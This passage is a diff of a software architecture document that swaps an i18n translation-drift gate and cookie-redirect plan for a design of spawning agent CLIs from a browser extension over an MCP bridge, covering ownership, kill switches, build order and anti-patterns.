+[spawned CLI] launches its own `npx fsb-mcp-server` (stdio) -> connects 7225 as relay + -> agent:register (Flow 2) -> OWN agentId + clientInfo + -> MCP tools (read_page/click/run_task/...) -> bridge -> extension dispatcher + -> tab actions under ITS OWN ownership (agent-registry bindTab :492-500) + visible glow +[events] supervisor parses child stream-json + -> ext:event {delegationId, phase, text, toolUse} -> hub -> extension bridge client + -> runtime message -> sidepanel.js progress renderer +[stop] side panel Stop (sidepanel.js:1545) -> background NEW stopDelegatedTask + -> sendExtRequest('delegate.cancel', {delegationId}) -> supervisor SIGTERM child + -> child exits -> child's stdio server WS closes -> extension-side grace release + (stageReleaseByConnectionId, mcp-bridge-client.js:185-186 / registry :286) + -> supervisor ext:event {status:'cancelled'} -> side panel terminal state ``` -### Structure Rationale - -- **`verify-translation-drift.mjs` lives alongside the other `verify-*.mjs` scripts, not inside a new subfolder.** This repo's established convention (`verify-locale-sync.mjs`, `verify-hreflang.mjs`, `verify-bundle-budgets.mjs`) is one flat `scripts/verify-*.mjs` file per concern, each independently invocable via a matching `npm run verify:*` script, each wired as its own named step in `ci.yml`'s `website` job. A new script that follows this exact naming and invocation pattern is the path of least surprise for anyone who already knows this codebase's i18n tooling, and it keeps each gate single-purpose and independently debuggable (a red `verify:translation-drift` step in CI immediately tells you it's a semantic-drift failure, not a registry-parity or hreflang failure). -- **The full-page completeness audit is NOT the same artifact as the CI drift gate**, and should not be built as one script that tries to do both. The audit is a one-time (or infrequent, manually-invoked) diagnostic that answers "what is untranslated or drifted RIGHT NOW across the whole surface" โ€” it needs to walk every showcase page/component and cross-reference against every `i18n`-marked template string (or the rendered per-locale output), and produce a human-readable report. The drift gate is a permanent, fast, CI-blocking check that answers a narrower question: "did this commit's EN source change leave any of the 5 target files' mirrored source out of sync." Conflating them either makes the audit too slow/heavy to run on every PR, or makes the permanent gate too broad and fragile (e.g. if it tries to also assert "target text differs meaningfully from source text" as a proxy for "was this ever actually translated," it will misfire on short EN loanwords that are legitimately identical across locales, like "FSB" or brand names already carved out in `DO-NOT-TRANSLATE.md`). -- **No new locale-registry file, no new XLIFF format, no new translation-storage layer.** The milestone's job is drift *detection* and *resync*, not a new translation pipeline. `angular.json`'s `i18n.locales` block and `locale-constants.{ts,js}` are correctly the single source of truth for "which locales exist" and stay untouched; this milestone only adds a new comparison over the *content* of files that already exist in that structure. -- **`accept-language.js` gets modified in place, not replaced.** The bug is a semantics change to one branch of existing logic (see Pattern 2), not a rewrite. The existing `pickBestLocale`, `parseCookieHeader`, and BCP-47 alias-matching logic (`aliasTag`, `ZH_HANS_TARGETS`/`ZH_HANT_TARGETS`) are correct and heavily tested (42 assertions in `server-accept-language.test.js`) โ€” none of that needs to move. - -## Architectural Patterns - -### Pattern 1: ID-Keyed Source-Text Diff (the drift gate itself) - -**What:** Parse `messages.xlf` and each of the 5 target XLIFFs into `Map`. For every id present in the EN map, assert the corresponding entry in each target map has byte-identical `` text (after whitespace normalization). Report every (`id`, `locale`) pair that fails, then exit 1 if any failures exist. - -**When to use:** This is the correct check because XLIFF's `` structure (per the XLIFF 1.2 spec, `urn:oasis:names:tc:xliff:document:1.2`, used here) mirrors the EN `` into every target file as an audit trail โ€” the whole point of that mirrored `` field in a translated XLIFF is "this is what was translated FROM." When the real EN source changes but that mirror doesn't get refreshed, the mirror becomes evidence of drift, and this is exactly what to diff against. This is a well-known TMS (translation management system) pattern, often called "source drift" or "fuzzy-match invalidation" โ€” professional i18n pipelines (Phrase, Lokalise, Crowdin, and similar) typically auto-flag or fuzzy-mark units whose source changed since last translation. This project has no TMS; a small custom script fills that exact role. - -**Trade-offs:** -- Pro: Cheap (regex/text parse of 5 files, roughly 1MB each, sub-second), zero new dependencies โ€” matching this repo's stated preference (`verify-hreflang.mjs`'s comment: "Zero new npm dependencies โ€” regex-based, no jsdom"; `accept-language.js`'s comment: "Zero new dependencies โ€” inline cookie parse + Node stdlib only"). -- Pro: Catches exactly the failure mode this milestone cares about (5 real drifted units from the named commit, not 247 phantom ones โ€” see the framing correction above), and generalizes correctly to whatever additional drift the full-page audit surfaces. -- Con: A pure text-diff cannot tell you the target *translation* is wrong, only that the EN source moved out from under it. It is necessarily a heuristic proxy for "needs re-review," not a semantic-correctness checker. This is fine and expected โ€” closing the loop on translation *quality* is a human/AI-fill review step downstream of this gate, not something the gate itself can verify. -- Con (must design around): must be robust to legitimate structural/whitespace differences that XLIFF tooling introduces (e.g. `` placeholder ordering should usually stay stable, but Angular's extractor can reformat attribute quoting or context-group ordering across regenerations). Normalize whitespace before comparing, and compare only the `` inner content, not the full `` block (which also contains `` linenumber metadata that legitimately differs commit-to-commit and MUST be ignored โ€” per the framing-correction finding above, 242 of 247 diff lines in the named commit were exactly this kind of noise). - -**Example (regex-based parse matching the codebase's existing `verify-locale-sync.mjs` style, dependency-free):** -```javascript -// scripts/verify-translation-drift.mjs -import { readFileSync } from 'node:fs'; -import { join } from 'node:path'; -import { LOCALES, SOURCE_LOCALE } from '../src/app/core/i18n/locale-constants.js'; -// (Illustrative import path -- actual implementation should reuse whichever locale -// registry module is import-compatible from a .mjs script; derive TARGET_LOCALES -// from it rather than hardcoding, exactly per the WARNING-01 lesson below.) - -const LOCALE_DIR = join(process.cwd(), 'src', 'locale'); -const SOURCE_FILE = join(LOCALE_DIR, 'messages.xlf'); -const TARGET_LOCALES = LOCALES.filter((l) => l !== SOURCE_LOCALE); - -// Extracts { id -> raw inner-XML of ... } keyed by trans-unit id. -// Deliberately ignores everything else in the block (context-group, -// linenumber, notes) -- those legitimately churn on every unrelated code edit and -// MUST NOT be treated as drift (see the 242-line-noise finding in this document's -// framing-correction section: only 5 of 247 diff lines in commit 6d3ad363 were -// real source-text changes). -function extractSourceMap(xliffText) { - const map = new Map(); - const unitRe = /]*>([\s\S]*?)<\/trans-unit>/g; - let m; - while ((m = unitRe.exec(xliffText)) !== null) { - const [, id, body] = m; - const sourceMatch = /([\s\S]*?)<\/source>/.exec(body); - if (sourceMatch) map.set(id, sourceMatch[1].trim()); - } - return map; -} - -const sourceMap = extractSourceMap(readFileSync(SOURCE_FILE, 'utf8')); -const failures = []; - -for (const locale of TARGET_LOCALES) { - const targetPath = join(LOCALE_DIR, `messages.${locale}.xlf`); - const targetMap = extractSourceMap(readFileSync(targetPath, 'utf8')); - for (const [id, enSource] of sourceMap) { - const mirroredSource = targetMap.get(id); - if (mirroredSource === undefined) { - failures.push({ locale, id, reason: 'missing trans-unit (should already be caught by ng build)' }); - } else if (mirroredSource !== enSource) { - failures.push({ locale, id, reason: 'source drift', en: enSource, mirrored: mirroredSource }); - } - } -} - -if (failures.length > 0) { - console.error(`Translation drift detected: ${failures.length} (locale, id) pairs out of sync.`); - for (const f of failures) console.error(` [${f.locale}] ${f.id}: ${f.reason}`); - process.exit(1); -} -console.log(`Translation drift check passed: ${sourceMap.size} trans-units x ${TARGET_LOCALES.length} locales, zero drift.`); -``` +### State Management -### Pattern 2: Cookie-Directed Redirect (WARNING-02 fix) - -**What:** Change the Accept-Language middleware's cookie branch from "cookie present and valid -> `next()` (do nothing, let whatever static file exists at `/` serve)" to "cookie present, valid, and NOT the default locale -> actively 302 redirect to `/{cookieLocale}/`." Only fall through to Accept-Language-header-based detection when there is no usable cookie. The default-locale case (`cookieVal === defaultLocale`, i.e. `en`) still correctly falls through to `next()` since there's no redirect needed to reach the EN root. - -**When to use:** This directly closes the gap documented in `v0.9.63-INTEGRATION-CHECK.md`'s WARNING-02 and the audit's own suggested follow-up: *"flip cookie-precedence semantics from 'skip middleware' to 'redirect to cookie locale.'"* The audit already flagged the one real risk this introduces โ€” a **redirect loop** โ€” and named its own mitigation requirement: *"opens T-267-02 redirect-loop surface, needs explicit `/{locale}/` skip guard."* That guard is already structurally present and must be preserved: the middleware only runs `if (req.path !== '/') return next();` (`accept-language.js` line 93), so a redirect to `/{locale}/` (any non-root path) can never re-enter this same middleware branch on the very next request โ€” the loop-guard is the existing path check, not something that needs to be newly invented. The only new invariant to add explicitly is: never redirect if the cookie's locale IS the default locale (`en`), because `/en/` is not a valid subPath in this project's `subPath` scheme (EN's `subPath` is `""`, per `angular.json`'s `sourceLocale.subPath` and `locale-constants.js`'s `LOCALE_SUBPATHS.en === ''`) โ€” redirecting to `/en/` would 404. - -**Trade-offs:** -- Pro: Closes exactly the UX gap the milestone names (returning fresh-tab/shared-link visitors with a previously-set locale cookie now land on their locale, not EN). -- Pro: Minimal diff โ€” this is a roughly 5-line change to one function (`createAcceptLanguageMiddleware`'s cookie-branch), not a new module. All the hard parsing/matching work (`pickBestLocale`, `aliasTag`, `parseCookieHeader`) is reused unchanged. -- Con (must test explicitly): the existing test `'GET / + Accept-Language ja + Cookie fsb-locale=de -> next() (cookie wins)'` at `tests/server-accept-language.test.js:81-85` currently asserts `nextCalled: true, redirectArgs: null` for this exact case and encodes the OLD (short-circuit) semantics. Under the fixed behavior this assertion must flip to `nextCalled: false, redirectArgs: { status: 302, location: '/de/' }`. This is a deliberate, expected test-behavior change and should be called out explicitly in the phase/plan doc, not silently altered. The adjacent test `'GET / + Cookie fsb-locale=en -> next() (cookie wins, even for default)'` (lines 87-91) keeps its current expected outcome unchanged โ€” the default-locale case still correctly falls through to `next()`. -- Con: a returning visitor whose cookie locale no longer matches their live preference (e.g. they set `fsb-locale=de` once, months ago, but their browser's Accept-Language has since changed) will now be forced back to `/de/` on every bare-`/` visit, with no Accept-Language override, until they use the in-page picker again. This is the correct, intentional trade-off implied by "cookie wins" (matches how this repo's picker semantics have always been described), but is worth a one-line note in the phase's SUMMARY so a future WARNING doesn't reopen it as a new bug. - -**Example:** -```javascript -// showcase/server/src/middleware/accept-language.js -- inside createAcceptLanguageMiddleware's -// returned function, replacing the current cookie branch (lines 95-98 today): - -const cookieVal = parseCookieHeader(req.headers && req.headers.cookie, cookieName); -if (cookieVal && cookieVal !== defaultLocale && supportedSet.has(cookieVal)) { - // WARNING-02 fix: cookie now actively redirects instead of short-circuiting. - // Loop-safe: this middleware only ever runs on req.path === '/' (checked above), - // and this redirect always targets a non-'/' subpath, so the redirected request - // never re-enters this branch. - return res.redirect(302, '/' + cookieVal + '/'); -} -if (cookieVal && cookieVal === defaultLocale) { - // Cookie explicitly says default locale (en) -- already at the right place; no redirect. - return next(); -} - -const best = pickBestLocale(req.headers && req.headers['accept-language'], supported); -if (!best || best === defaultLocale) return next(); -res.redirect(302, '/' + best + '/'); -``` +- Delegated-task UI state: background session-lite records + `chrome.storage.session` for SW-eviction survival. The MV3 SW WILL be evicted during long delegations; on WS reconnect the extension mints a fresh `_connectionId` (mcp-bridge-client.js:112-144), so `delegationId` must live in storage and re-associate on wake โ€” mirror the `handleStopAutomation` storage-restore fallback pattern (background.js:9567-9586). +- Identity ground truth: `fsbAgentProviders` (durable rollup) + live registry AgentRecords. -## Data Flow +--- -### Drift-Gate Data Flow (new) +## 5. Spawner Ownership: hub vs relay vs serve daemon (question e) -``` -git commit changes showcase/angular/src/locale/messages.xlf (EN source) - v -CI `website` job runs (existing steps, unchanged order): - verify-locale-sync.mjs -> lint:i18n -> [ng extract-i18n + diff -u] - v -NEW STEP inserted here (see Suggested Build Order for exact position): - verify-translation-drift.mjs - - reads messages.xlf -> Map - - reads each messages.{locale}.xlf -> Map - - diffs by id; exit 1 on any mismatch - v (pass) -ng build (i18nMissingTranslation: error) -- existing, unchanged - v -verify:hreflang -> verify-bundle-budgets.mjs -- existing, unchanged -``` +**Recommendation: the `serve` daemon owns spawning. `SpawnSupervisor` lives in the `fsb-mcp-server serve` process regardless of whether its bridge is currently hub or relay. The hub's only new job is routing `ext:*` frames to whichever connected process advertises the `agent-spawn` capability โ€” handling locally when it is itself the supervisor.** -### Cookie-Redirect Data Flow (WARNING-02 fix) +Rationale: -``` -Returning visitor, fresh tab / shared link, GET / - v -Request headers carry Cookie: fsb-locale=de (set by picker in a prior session) - v -accept-language middleware (mounted before express.static, server.js:175) - v - cookieVal = 'de'; cookieVal !== 'en' (default); supportedSet.has('de') -- TRUE - v (NEW behavior) - res.redirect(302, '/de/') - v -Browser re-requests GET /de/ - v -req.path !== '/' -> middleware calls next() immediately (loop-safe, existing guard) - v -express.static serves dist/showcase-angular/browser/de/index.html (prerendered German) -``` +1. **Process lifetime.** Hub identity is unstable by design: any stdio server owned by an unrelated client session can hold the port, and hub-exit promotion (bridge.ts:756-783, jittered race, exercised by `tests/mcp-bridge-topology.test.js` `runHubExitPromotion` :242) reshuffles roles whenever that client exits. A spawned CLI's stream-json stdout must be read for the whole delegation; if the reader were "whoever is hub", a Cursor session quitting mid-delegation would orphan the child and its event stream. The serve daemon is the only intentionally long-lived process (index.ts:266-294, explicit SIGTERM/SIGINT shutdown :284-293). +2. **Consent and security posture.** Spawning is RCE-adjacent. Binding it to a process the user explicitly started gives a clean consent story and a single holder for the shared secret and consent tiers. Arbitrary stdio hubs launched by third-party clients must never gain spawn authority implicitly. +3. **Hub-exit promotion safety.** The daemon's bridge already reconnects/promotes automatically (`_attemptPromotion` :756, `_scheduleRelayReconnect` :785). Every reconnect re-sends `relay:hello`, so the additive `capabilities:['agent-spawn']` field re-advertises the supervisor to each new hub. Children are attached to the daemon process; hub churn never touches them โ€” only frame routing pauses briefly (extension retries `ext:request` on disconnect-class rejections; extend `BRIDGE_DISCONNECT_MESSAGES` semantics, bridge.ts:34-38, if new reject sites are added โ€” the comment there makes this mandatory). +4. **Matches the honest-offline constraint.** The extension cannot wake processes (no nativeMessaging). "Supervisor present = serve daemon running (or a hub that opted in)" is exactly the state `doctor` (index.ts:334-348) can diagnose and the side panel can message. -## Scaling Considerations +Concrete hub routing rule (new code in bridge.ts): on `ext:request` from the extension โ€” if this process registered a local SpawnSupervisor, handle; else forward to the first relay whose hello advertised `agent-spawn`; else reply `ext:response {error:'agent_provider_offline'}`. This stays inside the milestone's "reverse channel over the existing ws://7225 bridge" decision and is byte-additive on the wire (INV-01: new frame types + optional hello fields only; all existing `MCPMessageType` values untouched, types.ts:8-48). -| Scale | Architecture Adjustments | -|-------|---------------------------| -| Current (6 locales, ~942 trans-units, 5 target files) | The `Map`-based, single-pass regex parse in Pattern 1 runs in well under a second; no optimization needed. This is a build-time/CI-time script, not a runtime hot path โ€” it never touches production request latency. | -| If locale count grows (e.g. adding a 7th/8th locale) | `TARGET_LOCALES` in the new script must be derived from `locale-constants.js`'s `LOCALES` array (filtered to exclude `SOURCE_LOCALE`), exactly the pattern `v0.9.63-INTEGRATION-CHECK.md`'s own WARNING-01 already recommended for `server.js` (`supported = LOCALES.filter(l => l !== SOURCE_LOCALE)`). Hardcoding the array in the new script would reproduce WARNING-01's exact mistake in a new file; the real implementation should import from the locale registry instead of hardcoding, keeping the single-source-of-truth property intact. | -| If trans-unit count grows by 10x (e.g. thousands of marketing strings) | Still trivially fast for a single-pass Map diff; no architectural change needed until file sizes reach tens of MB, which is far outside this project's marketing-copy scope. | -| If translation workflow moves to a real TMS (Phrase/Lokalise/Crowdin) in a future milestone | Those platforms have first-class "source changed since last translation" flagging built in, which would make this custom script redundant. Not a near-term concern; flagged here only so a future milestone doesn't have to rediscover this trade-off. | +Rejected alternatives: +- **Hub-owned spawning:** simplest routing (frames already land at bridge.ts:515) but fails lifetime + consent as above. +- **Any-process spawning:** ambiguous ownership; duplicate spawns on retries; kill-switch routing becomes a search problem. +- **Separate supervisor port (e.g. 7226):** cleanest isolation, zero forwarding โ€” but contradicts the milestone's existing-bridge decision and adds a second listener to the doctor/firewall surface. Keep as documented fallback if hub-forwarding proves fragile during implementation. -### Scaling Priorities +Edge case to handle explicitly: two `serve` daemons (user runs `serve` twice). First-advertised-supervisor-wins at the hub, with a diagnostics note; do not fan out to multiple supervisors. -1. **Not a scaling concern at this project's size.** The real risk this milestone's gate should optimize against is **false positives from the linenumber-churn noise already characterized above**, not runtime/CI performance. Keeping the diff strictly ``-text-scoped (not whole-``-scoped) is the single most important design decision for this script's long-term reliability. -2. **Second-order risk: the audit script and the drift-gate script overlapping in scope over time.** If the one-time audit script (the diagnostic tool from the audit phase) accretes CI-gate-like assertions and never gets retired or demoted, the project ends up with two overlapping i18n-completeness checks that can disagree with each other. See Suggested Build Order for how to sequence these to avoid that outcome. +--- + +## 6. Delegation Coexistence With the Extension's Agent Loop (question f) + +1. **Execution modes.** `delegated` becomes the fifth `EXECUTION_MODES` entry (engine-config.js:63-108). Delegated tasks never enter `runAgentLoop` (agent-loop.js:1180) โ€” background keeps a session-lite record for UI state; the reasoning loop runs in the spawned CLI, which drives the browser through the same MCP tool surface (INV-02 parity holds because no new tool stack exists). `loadSessionConfig('delegated')` (engine-config.js:126) supplies wall-clock watchdog + event-silence timeout instead of iteration caps. +2. **Tab ownership.** The spawned CLI's stdio server registers its own agent (Flow 2) and binds tabs on first action (agent-registry.js:492-500). Two guards: (a) the side panel's `ensureLegacySidepanelAgent` pre-bind (sidepanel.js:1503) must NOT run for delegated sends, or the target tab is owned by `legacy:sidepanel` and the CLI's agent hits `TAB_NOT_OWNED` โ€” pass the tab as a hint in the delegate payload and let the CLI's agent own it; (b) the spawned agent counts against the concurrency cap (`AGENT_CAP_REACHED`, dispatcher :1947-1954) โ€” surface as a typed side-panel error. +3. **Kill-switch paths (two; both required).** + - UI stop: side panel -> `stopDelegatedTask` -> `ext:request delegate.cancel` -> supervisor SIGTERM child. Distinct from BYOK stop (`handleStopAutomation` background.js:9559), which stays untouched for non-delegated sessions. + - Process-death fallback: child or daemon dies -> child's WS closes -> existing `stageReleaseByConnectionId` grace release (mcp-bridge-client.js:185-186; registry staged releases :286) frees tabs/overlays; the supervisor's exit-watch emits a terminal `ext:event` so the panel never hangs on "running". If the daemon itself dies, the extension's pending `ext:request` map times out -> offline state. +4. **Simultaneity.** BYOK autopilot on tab A + delegated CLI on tab B coexist โ€” exactly the v0.9.60 multi-agent ownership model. The only shared per-process resource is each MCP server's mutation queue (queue.ts), which serializes only that client's mutations. +5. **UI feedback.** Delegated progress arrives via `ext:event` -> runtime messages, not loop `statusUpdate`s. Side panel adds a renderer branch reusing existing status components (`addStatusMessage` pattern, sidepanel.js:1525). +6. **Test tripwires.** Every extension file touched (background.js, engine-config.js, sidepanel.js, mcp-bridge-client.js, dispatcher, agent-registry.js, onboarding.js, options.js) sits under source-pin tests (token counts/substrings). Run the full suite from the first commit of every phase. + +--- + +## 7. Recommended Build Order (question d) + +Phases continue from 57. Dependency chain: identity capture -> providers UI -> delegation MVP -> multi-adapter. + +| Step | Scope | Depends on | Why this position | +|------|-------|-----------|-------------------| +| 1. Identity capture (copy-clicks + clientInfo) | onboarding persist; `getClientVersion` capture; `agent:register` payload `{clientInfo}`; `stampClientInfo`; `fsbAgentProviders` schema + connected rollup; `getMcpClients` runtime message | nothing | Pure additive data layer on both sides of the wire; unblocks everything later; closes the v0.9.36 deferred "trusted MCP client identity from handshake metadata" item | +| 2. Installed-client detection + inventory | reuse `resolvePlatformTarget`; NEW inventory delivery server->extension (additive `system:client-inventory` request on extension-connect, or piggyback on register โ€” decide with payload measurements); claude-code binary detection | 1 (schema exists) | Server-side disk access only; completes connected > installed > copy-clicked ground truth | +| 3. Providers panel | rename :146; provider-kind model; agent rows + status; key-field hiding; recommended defaulting; BYOK guard | 1, 2 (needs real data) | Visible value before the risky spawn work; establishes the selection the delegation UI reads | +| 4. Reverse-request channel + security | `ext:request/response/event`; hub routing + supervisor advertisement; extension pending-map; shared secret + origin gating + consent tiers; topology tests alongside `tests/mcp-bridge-topology.test.js` | independent, but sequence after 3 | Security-critical seam isolated in its own phase with its own tests; INV-01 additive proof lives here | +| 5. Delegation MVP (Claude Code) | SpawnSupervisor in serve daemon; `claude-code` adapter (built AS an adapter); `delegated` EXECUTION_MODES entry; side-panel send/progress/stop; offline->doctor UX; SW-eviction re-association | 3 (provider selection), 4 (channel) | The integration payoff; the child CLI reuses the entire existing agent pipeline unchanged | +| 6. Multi-agent adapters | registry hardening; OpenCode -> Codex -> Gemini adapters; `caps()`-gated task-mode vs chat-mode (`--resume`) | 5 | Contract proven by one real implementation before generalizing | -## Anti-Patterns +Parallelization: 1 and 2 can interleave; 4 can start while 3 is in review. 5 must not start before 4's security tests are green. -### Anti-Pattern 1: Whole-File Hash/Byte Comparison for Drift Detection +--- + +## 8. Anti-Patterns (repo-specific) -**What people do:** Compare a checksum or raw byte-diff of `messages.xlf` against a checksum of each target file, or treat any git diff on `messages.xlf` as "translations are now stale, re-review everything." -**Why it's wrong:** As demonstrated by the actual commit `6d3ad363` in this repo (247 diff lines, only 5 real source-text changes), the overwhelming majority of `messages.xlf` diffs are `` churn from unrelated code motion. A whole-file or byte-level check would flag 242 units of pure noise as "drifted," creating alert fatigue and, worse, sending false-positive re-translation work to the 5-locale AI-fill/translator pipeline for units that never actually changed. -**Instead:** Parse and compare only the `` inner-text, keyed by `trans-unit id` (Pattern 1). This is the only comparison granularity that isolates true content drift from harmless structural churn. +### Anti-Pattern 1: Prompt-stuffing the spawned CLI +**What people do:** encode task + tool guidance into one giant `-p` prompt. +**Why it's wrong:** brittle, unauditable; the milestone already chose a shipped `fsb` agent definition + hermetic `--strict-mcp-config`. +**Do this instead:** adapter `buildSpawn` emits argv referencing the shipped agent definition; the task is the only variable input. -### Anti-Pattern 2: Merging the One-Time Audit and the Permanent CI Gate Into One Script +### Anti-Pattern 2: Reviving the sunset background-agents surface +**What people do:** resurrect `listAgents`/`getAgentStats` (commented at options.js:5767/6049, sidepanel.js:3651) or `extension/agents/*` for "agents in the panel". +**Why it's wrong:** INV-05 freezes those modules; the new surface is MCP-client identity, a different concept. +**Do this instead:** new `getMcpClients` message backed by `fsbAgentRegistryInstance` + `fsbAgentProviders`. -**What people do:** Write a single "do everything i18n" script that both (a) walks every page/component to check completeness against the live DOM/render output, and (b) runs on every CI push as the hard-fail drift gate. -**Why it's wrong:** These have fundamentally different cost/frequency profiles. A full-page completeness audit that inspects every locale's output for every route is inherently heavier (potentially needs a built `dist/` to inspect, or headless-browser assertions) and is meant to run once (or occasionally, on-demand) to find the current gap โ€” not on every commit. Baking it into the permanent CI gate either makes CI slow, or forces the audit logic to be watered down to something fast enough for every-push execution, defeating the audit's own purpose of being thorough. It also risks the exact trap PROJECT.md's milestone framing already fell into: conflating "247 lines changed" with "247 units need resync" โ€” a heavier, less-precise tool is more likely to produce an inflated, misleading count. -**Instead:** Two artifacts with two different lifecycles (see Suggested Build Order): a temporary/manually-invoked audit script for the audit phase (find the current gap, including anything beyond the one named commit), and a small, fast, permanent `verify-translation-drift.mjs` for every subsequent commit (Pattern 1). The audit's findings feed the resync work; the gate prevents recurrence going forward. +### Anti-Pattern 3: Making `modelProvider` polymorphic +**What people do:** store `modelProvider:'claude-code'` and branch everywhere. +**Why it's wrong:** `universal-provider.js` (:196/:550), engine reads, and MCP diagnostics (`status` prints `modelProvider`, index.ts:152-156) all assume the 7 API values; an agent value leaks into request builders. +**Do this instead:** separate `providerKind` + `agentProviderId`; `modelProvider` stays the last-used API provider. -### Anti-Pattern 3: Treating the Cookie Fix as "Just Flip a Boolean" +### Anti-Pattern 4: Letting "whoever is hub" spawn +**Why it's wrong:** Section 5 โ€” child lifetime tied to an unrelated client session; consent ambiguity; kill-switch routing breaks across hub-exit promotion. +**Do this instead:** serve-daemon-owned SpawnSupervisor + capability-advertised routing. -**What people do:** Change the cookie branch to always redirect whenever a cookie is present, without re-checking the default-locale case or the loop-safety invariant. -**Why it's wrong:** `en`'s `subPath` is `""` in this project's locale scheme (`LOCALE_SUBPATHS.en === ''`, `angular.json`'s `sourceLocale.subPath === ''`). A blind "always redirect to `/{cookieLocale}/`" would produce `res.redirect(302, '/en/')` when the cookie says `en`, and `/en/` is not a real subPath in this build's output โ€” that would 404. The fix must special-case `cookieVal === defaultLocale` to still fall through to `next()` (already at the correct root), exactly as Pattern 2 shows. -**Instead:** Preserve the three-way branch: (1) cookie says default locale -> `next()`; (2) cookie says a valid non-default supported locale -> active redirect; (3) no usable cookie -> fall through to existing Accept-Language-header logic. Also explicitly re-verify (and update, not silently break) the existing test at `tests/server-accept-language.test.js:81-85`, which currently encodes the pre-fix "cookie short-circuits" behavior as the expected/passing result for the `cookie=de, header=ja` case. +### Anti-Pattern 5: Editing bridge wire contracts in place +**Why it's wrong:** INV-01 โ€” every existing `MCPMessageType` (types.ts:8-48) and tool schema is byte-stable; register consumers tolerate only additive optional fields (see the defensive pattern in agent-scope.ts:77-101). +**Do this instead:** new frame types + optional payload fields only; update `BRIDGE_DISCONNECT_MESSAGES` (bridge.ts:34-38) for any new reject-on-disconnect site โ€” its comment makes this mandatory. + +--- -## Integration Points +## 9. Integration Points ### External Services -None. This entire milestone's scope (i18n completeness audit, drift gate, cookie-redirect fix) is internal-repo tooling with zero new third-party services, npm dependencies, or external APIs. This matches the codebase's explicit stated preference across every relevant existing script (`verify-hreflang.mjs`: "Zero new npm dependencies"; `accept-language.js`: "Zero new dependencies โ€” inline cookie parse + Node stdlib only"). +| Service | Integration Pattern | Notes | +|---------|---------------------|-------| +| Agent CLIs (claude, opencode, codex, gemini) | `spawn` with adapter-built argv; stream-json stdout; SIGTERM kill | Verify flags per CLI in phase research; never `shell:true` | +| MCP SDK ^1.29.0 | `server.server.getClientVersion()` / `oninitialized` | Functional in v1.x; deprecated in SDK v2 in favor of per-request `ctx.mcpReq.envelope` โ€” note for any future SDK major upgrade (Context7, HIGH) | +| Client config files on disk | `resolvePlatformTarget` existsSync detection (platforms.ts:437-490) | cli-mode (`claude-code`) and instructions-mode entries need per-adapter detection | ### Internal Boundaries | Boundary | Communication | Notes | -|----------|-----------------|-------| -| `verify-translation-drift.mjs` (new) โ†” `src/locale/*.xlf` | Direct filesystem read, regex-based XML parse (no XML library dependency, matching existing script style) | Must read the locale registry's `LOCALES`/`SOURCE_LOCALE` to derive the target-locale list dynamically, not hardcode it (avoids reproducing WARNING-01) | -| `verify-translation-drift.mjs` (new) โ†” `ci.yml` `website` job | New named step, inserted into the existing linear step sequence | See Suggested Build Order for exact insertion point | -| Full-page audit script (new, temporary) โ†” showcase pages/components | Either static-analysis (walk `.html` templates + cross-reference `i18n` attributes against XLIFF ids, similar to how `lint:i18n`'s eslint rule already inspects templates) or post-build inspection of `dist/showcase-angular/browser/{locale}/**` prerendered HTML | Recommend static-analysis-first (cheaper, no build required) since the goal is finding gaps in marking/translation coverage, not verifying rendered pixel output; the existing `verify-hreflang.mjs` precedent shows post-build HTML inspection is also an available pattern in this repo if the audit needs to verify what's actually rendered per-locale, not just what's marked | -| `accept-language.js` (modified) โ†” `server.js` mount point | Unchanged โ€” same `app.use(createAcceptLanguageMiddleware({...}))` call, same position (line 175, before `express.static` at line 182) | The fix is entirely internal to the middleware factory's returned function; the mount contract (options shape: `supported`, `defaultLocale`, `cookieName`) does not change | -| `lint:i18n` (modified) โ†” `stats/` page components | Remove `--ignore-pattern "src/app/pages/stats/**"` from the `lint:i18n` npm script once stats-page translation work lands | Must land AFTER the stats page's own translation work is complete (see Suggested Build Order), not before, or `lint:i18n` will immediately hard-fail CI on pre-existing untranslated stats-page markup | - -## Suggested Build Order - -This directly answers the "audit the existing gap first, then add the permanent drift gate" sequencing concern from the milestone context. The dependency chain is: - -1. **Full-page completeness audit (temporary/diagnostic script or manual walkthrough).** Goal: enumerate every genuinely-untranslated-but-marked-translated string across all pages (lattice, phantom-stream, prometheus, home, mobile nav, stats, and anything else added since v0.9.63), not just the 5 units from commit `6d3ad363`. This step must run and complete BEFORE the permanent drift gate is wired into CI as hard-fail, because: - - The audit will very likely surface MORE than the 5 known-drifted units (the milestone's own goal statement โ€” "every translatable string on every showcase page" โ€” is broader than one commit's blast radius). - - If the permanent gate is wired hard-fail before this pre-existing debt is resolved, CI goes red immediately on the first commit that includes the new gate, for reasons unrelated to that commit (the classic "gate discovers pre-existing debt it didn't cause" problem). -2. **Resync all units found in step 1** across the 5 target locale files (the 5 units from `6d3ad363` at minimum, plus whatever the broader audit finds). This includes the stats-page translation work (currently `lint:i18n`-ignored) since that's explicitly named as in-scope this milestone. -3. **Un-ignore the stats page in `lint:i18n`** only after step 2's stats-page translation work is actually complete โ€” removing `--ignore-pattern "src/app/pages/stats/**"` from `showcase/angular/package.json`'s `lint:i18n` script is itself a small, separate, ordered change that must come after the stats-page strings are marked and translated, not before. -4. **Add `verify-translation-drift.mjs`** (Pattern 1) and wire it into `ci.yml`'s `website` job now that the tree is drift-free โ€” it will pass on first wiring instead of immediately failing on residual debt from steps 1-3. - - Insertion point in `ci.yml`: after the "Verify ng extract-i18n produces no diff (CI-02)" step and before "Build Angular showcase" โ€” this mirrors the existing ordering logic (cheap static-analysis / text-comparison gates run before the expensive `ng build` step) and matches the audit trail's own documented gate order (`verify-locale-sync โ†’ lint:i18n โ†’ extract-i18n-clean โ†’ ng build โ†’ verify:hreflang โ†’ verify-bundle-budgets`); the new gate slots in as `verify-locale-sync โ†’ lint:i18n โ†’ extract-i18n-clean โ†’ verify-translation-drift โ†’ ng build โ†’ verify:hreflang โ†’ verify-bundle-budgets`. -5. **WARNING-02 cookie-redirect fix (Pattern 2)** has no dependency on steps 1-4 and can be built in parallel / any order relative to them โ€” it touches a completely different file (`accept-language.js`) and a completely different concern (runtime redirect behavior, not build-time translation content). Sequence it wherever convenient in the phase/plan breakdown; it does not need to wait on the audit or the drift gate. -6. **Retire or demote the audit script from step 1** once steps 1-4 are done. It served its purpose (finding and closing the gap); keeping it around as a stale, unmaintained "second i18n checker" that can silently diverge from the real permanent gate (`verify-translation-drift.mjs`) is the exact risk named in Anti-Pattern 2. Either delete it, or explicitly demote it to a manual/occasional `npm run audit:i18n` script with a comment clarifying it is NOT a CI gate and NOT guaranteed to stay in sync with `verify-translation-drift.mjs`'s logic. +|----------|---------------|-------| +| side panel 